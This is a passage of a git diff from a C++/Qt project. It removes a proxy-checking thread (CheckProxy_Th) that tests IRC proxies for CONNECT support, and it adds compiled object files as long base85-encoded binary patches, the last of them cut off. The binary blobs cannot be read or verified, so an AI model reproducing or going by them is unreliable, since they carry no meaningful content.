== NULL - ) - { - chPTh->doEmitChangeGreenIRCData("[OK] Success! Now using " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); - - proxyEnabledFlag = 1; - - CSSOCKET(pSock); - break; - } - else - { - - chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); - - proxyEnabledFlag = 0; - - CSSOCKET(pSock); - break; - }; - }; - break; - } - else - { - - chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); - - proxyEnabledFlag = 0; - - CSSOCKET(pSock); - break; - }; - }; - } - else - { - - chPTh->doEmitChangeRedIRCData("Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); - - proxyEnabledFlag = 0; - }; - }; -}; - -void CheckProxy_Th::run() -{ - CheckProxyLogic(); -}; diff --git a/CheckProxy_Th.h b/CheckProxy_Th.h deleted file mode 100644 index d2f93c5..0000000 --- a/CheckProxy_Th.h +++ /dev/null @@ -1,27 +0,0 @@ -#ifndef CHECKPROXY_TH_H -#define CHECKPROXY_TH_H - -#pragma once -#include "nesca_3.h" - -class CheckProxy_Th : public QThread -{ - Q_OBJECT - -public: signals: void changeRedIRCData(QString); -public: signals: void changeGreenIRCData(QString); -public: signals: void changeYellowIRCData(QString); -public: signals: void changeRawIRCDataInc(QString); -public: signals: void changeRawIRCDataOut(QString); - -public: - void doEmitChangeRedIRCData(QString str); - void doEmitChangeGreenIRCData(QString str); - void doEmitChangeYellowIRCData(QString str); - void doEmitChangeRawIRCDataOut(QString str); - void doEmitChangeRawIRCDataInc(QString str); -protected: - void run(); -}; -extern CheckProxy_Th *chPTh; -#endif // CHECKPROXY_TH_H diff --git a/CheckProxy_Th.o b/CheckProxy_Th.o new file mode 100644 index 0000000000000000000000000000000000000000..f5b900369d52437fef5683c228382aba55a00990 GIT binary patch literal 22968 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 O`Ywh$0%gSLeE2_;8dhci literal 0 HcmV?d00001 diff --git a/Connector.o b/Connector.o new file mode 100644 index 0000000000000000000000000000000000000000..14da8af3c898ef411a97831ce155a4c7039e43dd GIT binary patch literal 36920 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 